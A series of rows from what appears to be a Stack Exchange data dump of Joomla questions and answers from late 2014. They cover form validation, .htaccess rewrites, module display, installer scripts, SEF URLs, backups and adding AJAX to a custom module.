  <row Id="5820" PostTypeId="2" ParentId="5819" CreationDate="2014-12-26T16:18:39.697" Score="1" Body="&lt;p&gt;This is not a result of the layout that you are using but a limitation of the cancel button to skip the form validation on its own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically, you will need to implement something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getDocument()-&amp;gt;addScriptDeclaration('&#xA;    Joomla.submitbutton = function(task)&#xA;    {&#xA;        if (task == &quot;article.cancel&quot; || document.formvalidator.isValid(document.getElementById(&quot;item-form&quot;)))&#xA;        {&#xA;            ' . $this-&amp;gt;form-&amp;gt;getField('articletext')-&amp;gt;save() . '&#xA;            Joomla.submitform(task, document.getElementById(&quot;item-form&quot;));&#xA;        }&#xA;    };&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was copied from the core Joomla article &lt;code&gt;edit.php&lt;/code&gt; layout (&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/bd3d9cc947458437f790180fad4b817ee36e41d3/administrator/components/com_content/views/article/tmpl/edit.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/bd3d9cc947458437f790180fad4b817ee36e41d3/administrator/components/com_content/views/article/tmpl/edit.php&lt;/a&gt; line 64)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea is to override the submit handler to check if it is a cancel button (with &lt;code&gt;task = VIEWNAME.cancel&lt;/code&gt; OR to validate the document. This should skip the validator when you cancel and process the button as you'd expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will probably need to do a few things to get this to work in your case:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Remove &lt;code&gt;' . $this-&amp;gt;form-&amp;gt;getField('articletext')-&amp;gt;save() . '&lt;/code&gt;. That is specific to that view.&lt;/li&gt;&#xA;&lt;li&gt;Update &lt;code&gt;article.cancel&lt;/code&gt; to be &lt;code&gt;VIEWNAME.cancel&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Update the &lt;code&gt;document.getElementById(...)&lt;/code&gt; to be the id for your form.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-12-26T16:18:39.697" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5821" PostTypeId="2" ParentId="5421" CreationDate="2014-12-26T20:32:43.290" Score="2" Body="&lt;p&gt;You could try using a plugin called &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/style-a-design/popups-a-iframes/simple-pop-up&quot; rel=&quot;nofollow&quot;&gt;Simple Pop-Up&lt;/a&gt;. It's a plugin that will display anything between &lt;code&gt;{simplepopup}&lt;/code&gt; tags in a modal popup. The tags can be added to articles, modules or basically any part where the content can be processed by plugins. The plugin can be configured to load only once for each user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tested this, but if your form is loaded in a module, you could try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{simplepopup}{loadposition YouFormPosition}{/simplepopup}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another option could be to use &lt;a href=&quot;http://www.metamodpro.com/metamod/recipes/40-general/91-show-a-joomla-module-once&quot; rel=&quot;nofollow&quot;&gt;MetaMod&lt;/a&gt; (commercial extension). According to their tutorials, you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$c = JRequest::getInt('SeenIt', 0, 'cookie');&#xA;if ($c) return; /* if cookie was set, don't show anything, else... */&#xA;setcookie( 'SeenIt', 1, time()+60*60*24*365*10, '/' );&#xA;return 101; /* return module 101, but only the first time */ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-26T20:32:43.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5822" PostTypeId="1" AcceptedAnswerId="5823" CreationDate="2014-12-27T00:09:52.913" Score="0" ViewCount="3879" Body="&lt;p&gt;I've just enabled the included .htaccess file for Joomla 3.3.6 and now when I try to log on to the control panel it redirects to index.php in the root.  By commenting it out I've narrowed it down to the line:&#xA; &lt;code&gt;RewriteRule .* index.php [L]&lt;/code&gt; (extracted from the SEF section below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Commenting out doesn't feel like it should be the solution, is there an exception or something I should put in?  My admin folder is already password protected via cPanel.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3415" LastActivityDate="2016-06-16T22:13:42.947" Title="Included .htaccess file causes admin folder to redirect to index.php" Tags="|joomla-3.x|.htaccess-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5823" PostTypeId="2" ParentId="5822" CreationDate="2014-12-27T01:51:55.587" Score="1" Body="&lt;p&gt;Don't remove &lt;code&gt;RewriteRule .* index.php [L]&lt;/code&gt;, that's an important part if you enable URL Rewriting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You say you've password protected the admin folder, how exactly did you do that? It might be causing the problem, are you able to remove the protection and see if it works?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For security, I would rather recommend enabling two factor authorization in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also a couple of other settings in your &lt;code&gt;.htaccess&lt;/code&gt; file that might cause trouble:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# The line just below this section: 'Options +FollowSymLinks' may cause problems&#xA;# with some server configurations.  It is required for use of mod_rewrite, but may already&#xA;# be set by your server administrator in a way that dissallows changing it in&#xA;# your .htaccess file.  If using it causes your server to error out, comment it out (add # to&#xA;# beginning of line), reload your site in your browser and test your sef url's.  If they work,&#xA;# it has been set by your server administrator and you do not need it set here.&#xA;##&#xA;&#xA;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymLinks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another line that might cause errors is the &lt;code&gt;RewriteBase&lt;/code&gt; (home page will work, all links will give a &lt;code&gt;404 Not found&lt;/code&gt; error):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Uncomment following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA;# RewriteBase /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line is needed if your Joomla installation is located in a subfolder of your domain. Add the name of the subfolder after the &lt;code&gt;/&lt;/code&gt; (e.g. &lt;code&gt;RewriteBase /joomla&lt;/code&gt;). Note that this is &lt;em&gt;not&lt;/em&gt; needed when Joomla inside a subfolder used as addon domain in cPanel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to take a look at &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=714&amp;amp;t=858974&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; from the Joomla forum, there are several solutions that might/might not work.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-27T01:51:55.587" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5825" PostTypeId="1" CreationDate="2014-12-27T11:22:29.777" Score="1" ViewCount="407" Body="&lt;p&gt;So I tried to remove the latest news module. But it just kept on displaying on my home-page. How can i make it go away? I tried to clear cache, that did not work, also if I change the Menu Item Type of the home-page from featured articles to something else, the latest news module disappears then. How can I make it disappear without changing the Menu Item Type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to unpublished it but it wont go away, also there is no code for the module in the index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just noticed that my css does not load properly. It will probably look something like this, everything in the red box needs to be removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/epvjx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3396" LastEditorUserId="3396" LastEditDate="2014-12-27T18:50:32.067" LastActivityDate="2014-12-27T23:26:31.247" Title="Latest News module not going away?" Tags="|joomla-3.x|module|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5826" PostTypeId="2" ParentId="5825" CreationDate="2014-12-27T14:05:12.723" Score="1" Body="&lt;p&gt;You might be disabling the wrong module, or maybe there's a copy somewhere with a different name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to find and disable the correct module is to login to your site on the front-end. Go to &lt;a href=&quot;http://nerdyfuture.byethost24.com/?option=com_users&amp;amp;view=login&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://nerdyfuture.byethost24.com/?option=com_users&amp;amp;view=login&lt;/a&gt; and login with your superadmin user. Then return to your homepage, and when hovering over your modules you should see an icon similar to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mde0X.jpg&quot; alt=&quot;Module edit icon&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hover over the icon to see some details about the module (Name and position), and click it to edit it in the back-end. Now you can disable it, and once you click &lt;kbd&gt;Save &amp;amp; Close&lt;/kbd&gt; it should be gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;br&gt;&#xA;It's possible that the news section is from a module called Mini-frontpage (from what I see in your source code). Make sure you've located and disabled all instances of this module. You can filter the module list by &lt;em&gt;module type&lt;/em&gt; in the Joomla module manager like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/077RT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2&lt;/strong&gt;&lt;br&gt;&#xA;Those elements you want to remove are not modules, they are your featured/blog articles loaded in the component area. Basically you have to find a way to hide the component (loaded with &lt;code&gt;&amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&lt;/code&gt; in your template). Some templates has a setting for this, if not you have to create an &lt;code&gt;if-else&lt;/code&gt; statement using PHP to determine if the component should be loaded or not. Here's an article on how to detect if the user is viewing the frontpage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try to &lt;strong&gt;replace&lt;/strong&gt; &lt;code&gt;&amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&lt;/code&gt; with the following code in your &lt;code&gt;index.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$app = JFactory::getApplication();&#xA;$menu = $app-&amp;gt;getMenu();&#xA;if ($menu-&amp;gt;getActive() != $menu-&amp;gt;getDefault()) {&#xA;    echo '&amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should load the main component area on all pages &lt;em&gt;except&lt;/em&gt; your homepage.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-12-27T23:26:31.247" LastActivityDate="2014-12-27T23:26:31.247" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5827" PostTypeId="2" ParentId="5810" CreationDate="2014-12-27T23:21:36.793" Score="3" Body="&lt;p&gt;Basically, you could use an &lt;a href=&quot;https://docs.joomla.org/J2.5:Developing_a_MVC_Component/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;installer script&lt;/a&gt;, and create/copy the files after installation. The problem is that AFAIK templates does not trigger the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you create a &lt;a href=&quot;https://docs.joomla.org/Package&quot; rel=&quot;nofollow noreferrer&quot;&gt;package&lt;/a&gt;, and then include your template there, because the package installer &lt;em&gt;should&lt;/em&gt; call the installer script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then create your postflight script by adding this to your XML file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;scriptfile&amp;gt;script.php&amp;lt;/scriptfile&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And somthing like this in the &lt;code&gt;script.php&lt;/code&gt; file (not tested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;class pkg_helloWorldInstallerScript {&#xA;&#xA;    function install($parent) {&#xA;&#xA;        jimport('joomla.filesystem.folder');&#xA;        jimport('joomla.filesystem.file');&#xA;&#xA;        //change this to the name of the folder you want to create&#xA;        $newfolder = 'myfolder';&#xA;&#xA;        if(JFolder::create(JUri::root() . 'images/' . $newfolder)) {        &#xA;            //duplicate the line below as many times as you want for each file you want to move&#xA;            JFile::move(JUri::root() . 'templates/TEMPLATENAME/images/image.png', JUri::root() . 'images/' . $newfolder);&#xA;        }&#xA;    }&#xA;}    &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;&lt;a href=&quot;https://stackoverflow.com/questions/23372218/automatically-create-a-folder-and-copy-files-on-installation&quot;&gt;Original code by @Lodder&lt;/a&gt; &lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-12-27T23:21:36.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5828" PostTypeId="2" ParentId="5786" CreationDate="2014-12-27T23:44:03.170" Score="2" Body="&lt;p&gt;I'm not sure why you would want to remove the extension for a single menu item, but you might be able to do it using your &lt;code&gt;.htacces&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On &#xA;Options +FollowSymLinks&#xA;RewriteRule ^/about.html$ /about [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-27T23:44:03.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5830" PostTypeId="1" AcceptedAnswerId="7374" CreationDate="2014-12-29T00:01:48.307" Score="2" ViewCount="1281" Body="&lt;p&gt;I have an issue with k2 sef settings. I want all items to have no category structure, example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/cat1/cat2/item1 -&amp;gt; http://example.com/item1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found the setting: Prefix for item URLs and it is set to no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it still shows the category structure, also i noticed that modules in the item page showing related items have an issue: If I am in the page &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/cat1/cat2/item1 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;showning an item from cat3 the link will still be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/cat1/cat2/item1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the item also works under the wrong category. I suspect something being wrong with Jroute functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm updating this site from 1.5 to Joomla 3 with all newest versions of CMS and extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance in troubleshooting this issue is highly appriciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gr,&lt;/p&gt;&#xA;" OwnerUserId="3422" LastActivityDate="2015-01-30T21:15:38.237" Title="Joomla 3 with k2 sef url issue" Tags="|joomla-3.x|k2|sef|jroute|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5831" PostTypeId="1" CreationDate="2014-12-29T02:14:12.940" Score="-4" ViewCount="149" Body="&lt;p&gt;Error message;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Rar!' at line 1&lt;/p&gt;&#xA;" OwnerUserId="3410" LastEditorUserId="126" LastEditDate="2016-01-21T23:57:32.467" LastActivityDate="2016-01-21T23:57:32.467" Title="How to upgrade Joomla 2.5 to Joomla 3.3.6 without lose the old information?" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5832" PostTypeId="1" CreationDate="2014-12-29T02:36:01.583" Score="-1" ViewCount="75" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SG9Rh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the Manage and Download is red color, and I don't see part 00 button&lt;/p&gt;&#xA;" OwnerUserId="3410" LastEditorUserId="126" LastEditDate="2016-01-21T23:57:05.613" LastActivityDate="2016-01-21T23:57:05.613" Title="Akeeba Back up error - How to Backup using Akeeba?" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5833" PostTypeId="2" ParentId="5832" CreationDate="2014-12-29T03:34:03.520" Score="4" Body="&lt;p&gt;As far as I can see, there's nothing wrong with your backup. The file name itself is never a download link, and it's always displayed like that. You should be able to use the &lt;kbd&gt;Download&lt;/kbd&gt; button if you want to download the file through your browser (you'll get a warning that downloading through your browser might cause errors, just click OK.&lt;br&gt;&#xA;(If it &lt;em&gt;doesn't&lt;/em&gt; work, please specify what kind of error message you get.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JD72n.jpg&quot; alt=&quot;Akeeba Backup error message&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also download the backup manually, you'll find it in &lt;code&gt;JOOMLAROOT/administrator/components/com_akeeba/backup&lt;/code&gt; (unless you've changed the backup directory).&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-29T03:34:03.520" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5835" PostTypeId="1" CreationDate="2014-12-29T10:35:50.890" Score="0" ViewCount="97" Body="&lt;p&gt;I want to use javascript in my custom Joomla content plugin, but I can't get my custom text when type text in my input by using &lt;code&gt;getElementById&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $output = '&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;name&quot; value=&quot;default&quot; /&amp;gt;&#xA;        &amp;lt;button onclick=&quot;myAlert();&quot; &amp;gt;test code&amp;lt;/button&amp;gt;&#xA;        &amp;lt;script&amp;gt;&#xA;            var myText = document.getElementById(&quot;name&quot;).value;&#xA;            function myAlert(){&#xA;                alert(myText);&#xA;            } &#xA;        &amp;lt;/script&amp;gt;&#xA;        ';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I click the button only alert default value and not my custom name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="2290" LastEditorUserId="126" LastEditDate="2016-01-21T23:55:24.227" LastActivityDate="2016-01-21T23:55:24.227" Title="Javascript in custom content plugin output" Tags="|joomla-2.5|php|plugin|javascript|content|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5837" PostTypeId="2" ParentId="5723" CreationDate="2014-12-29T14:36:22.850" Score="0" Body="&lt;p&gt;Regarding your first question, make sure you enable the &quot;Prepare Content&quot; option in your module. You'll find the setting under the &quot;Options&quot; tab. This will allow plugins to process the contents of the module before output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1XXr5.jpg&quot; alt=&quot;Module settings: Prepare content&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to style the &lt;kbd&gt;Add to cart&lt;/kbd&gt; button, you should be able to target it with this CSS selector:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;input#addtoCartBtn {&#xA;   color: red; // Add your CSS style here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only add &lt;code&gt;!important&lt;/code&gt; if necessary. Make sure your custom CSS file is loaded properly.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-29T14:36:22.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5838" PostTypeId="2" ParentId="5835" CreationDate="2014-12-29T14:59:18.603" Score="2" Body="&lt;p&gt;I found my problem it's simple. I must placed var myText inside the function. now it's work&#xA;this code work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$output = '&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;name&quot; value=&quot;default&quot; /&amp;gt;&#xA;    &amp;lt;button onclick=&quot;myAlert();&quot; &amp;gt;test code&amp;lt;/button&amp;gt;&#xA;    &amp;lt;script&amp;gt;&#xA;        function myAlert(){&#xA;            var myText = document.getElementById(&quot;name&quot;).value;&#xA;            alert(myText);&#xA;        } &#xA;    &amp;lt;/script&amp;gt;&#xA;    ';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2290" LastEditorUserId="1629" LastEditDate="2014-12-29T17:39:24.850" LastActivityDate="2014-12-29T17:39:24.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5839" PostTypeId="2" ParentId="5835" CreationDate="2014-12-29T15:32:26.307" Score="2" Body="&lt;p&gt;Check &lt;strong&gt;JDocument&lt;/strong&gt; functions to add scripts to the page output:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/JDocument/addScriptDeclaration&quot; rel=&quot;nofollow&quot;&gt;JDocument/addScriptDeclaration&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/JDocument/addScript&quot; rel=&quot;nofollow&quot;&gt;JDocument/addScript&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-12-29T15:32:26.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5840" PostTypeId="2" ParentId="5830" CreationDate="2014-12-29T15:41:03.017" Score="1" Body="&lt;p&gt;Disable SEF, and check the Itemid to find which K2 feature is answering the request &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my experience, to avoid &lt;em&gt;cat&lt;/em&gt; levels, you have to define &lt;strong&gt;a menu item for each article&lt;/strong&gt; &quot;Item&quot; (Create a menu item linking directly to an item in K2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;There is no standard way to define all SEF articles to K2 single item feature.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-12-29T15:41:03.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5841" PostTypeId="2" ParentId="5830" CreationDate="2014-12-29T15:54:00.027" Score="0" Body="&lt;p&gt;In my experience, the best way to remove categories from your URL, both for K2 and regular Joomla articles, is to use a third-party SEO extension. There are many available at the &lt;a href=&quot;http://extensions.joomla.org/category/site-management/sef&quot; rel=&quot;nofollow&quot;&gt;Joomla Extensions Directory&lt;/a&gt;, both free and paid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I often use &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/site-management/sef/sh404sef&quot; rel=&quot;nofollow&quot;&gt;sh404sef&lt;/a&gt; (paid extension), but I just noticed the free &quot;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/site-management/sef/direct-alias&quot; rel=&quot;nofollow&quot;&gt;Direct Alias&lt;/a&gt;&quot; plugin that seems to be able to do exactly what you want: remove categories and menu aliases, and leave you with a simple url like &quot;&lt;a href=&quot;http://example.com/item1&quot; rel=&quot;nofollow&quot;&gt;http://example.com/item1&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-29T15:54:00.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5842" PostTypeId="1" AcceptedAnswerId="5852" CreationDate="2014-12-30T08:00:14.367" Score="1" ViewCount="3394" Body="&lt;p&gt;Im making a module where I have 2 dropdownlists.In the first List there are Car brands (like BMW,Audi,Seat etc). When The user select a Brand the Second List should get filled with the different Models of that Brand ( Seat ibiza,Seat Leon if you choose Seat ) . So i need to add some ajax. I never used ajax before , so after some reading the last days i made this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;function showUser(str) {&#xA;var xmlhttp;&#xA;&#xA;&#xA;        if (window.XMLHttpRequest) {&#xA;            // code for IE7+, Firefox, Chrome, Opera, Safari&#xA;            xmlhttp = new XMLHttpRequest();&#xA;        } else {&#xA;            // code for IE6, IE5&#xA;            xmlhttp = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);&#xA;        }&#xA;        xmlhttp.onreadystatechange = function() {&#xA;            if (xmlhttp.readyState == 4 &amp;amp;&amp;amp; xmlhttp.status == 200) {&#xA;                document.getElementById(&quot;txtHint&quot;).innerHTML = xmlhttp.responseText;&#xA;            }&#xA;        }&#xA;&#xA;        xmlhttp.open(&quot;GET&quot;,&quot;query.php?q=&quot;+str,true);&#xA;        xmlhttp.send();&#xA;&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;query.php is a file located in the tmpl folder (where the default-view file is located).&#xA;This would normally work if i didnt use Joomla , but as i found out there are different ways on adding Ajax on Joomla.The most guys suggested to create a component and add it through view file.Also as i saw everyone use jquery ajax.Im forced to use that ? I tried to study a bit that technique but i got lost.&#xA;Could someone explain what should be the easiest way to add Ajax in the module?(I didnt understood very clear that component-view file way) And if it is compulsory for Jquery Ajax help me prepare the call ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made something like this, dunno if im completly out of the way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;$(document).ready(function() {&#xA; $('#cats').change(function() {&#xA;  var myReq = new Request({&#xA;   method: 'get',&#xA;   url: 'modules/mod_dtm_cart/tmpl/query.php'&#xA;   //More code here&#xA; });&#xA; });&#xA; });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whole code: &lt;a href=&quot;http://pastebin.com/dAGQHJun&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/dAGQHJun&lt;/a&gt; Atm it doesnt call the query.php file and the 2nd list is filled with exactly the same elements as list1.&lt;/p&gt;&#xA;" OwnerUserId="2225" LastActivityDate="2015-01-06T18:54:20.520" Title="Adding ajax in Joomla Custom Module" Tags="|joomla-2.5|development|module|jquery|ajax|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5843" PostTypeId="2" ParentId="5842" CreationDate="2014-12-30T08:20:31.200" Score="3" Body="&lt;p&gt;I think the best option here is to use &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow&quot;&gt;Joomla Ajax Interface&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A slim, extensible component to act as an entry point for HTTP&#xA;  requests for stand alone modules and plugins, thus allowing for the&#xA;  potential of Ajax functionality in them. Com_ajax is generally used&#xA;  when you are not the developer of the component that the module or&#xA;  plugin is interacting with.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Joomla-Ajax-Interface/Hello-Ajax-World-Module&quot; rel=&quot;nofollow&quot;&gt;Hello Ajax World Module&lt;/a&gt; is an example of implementation.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-12-30T08:20:31.200" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
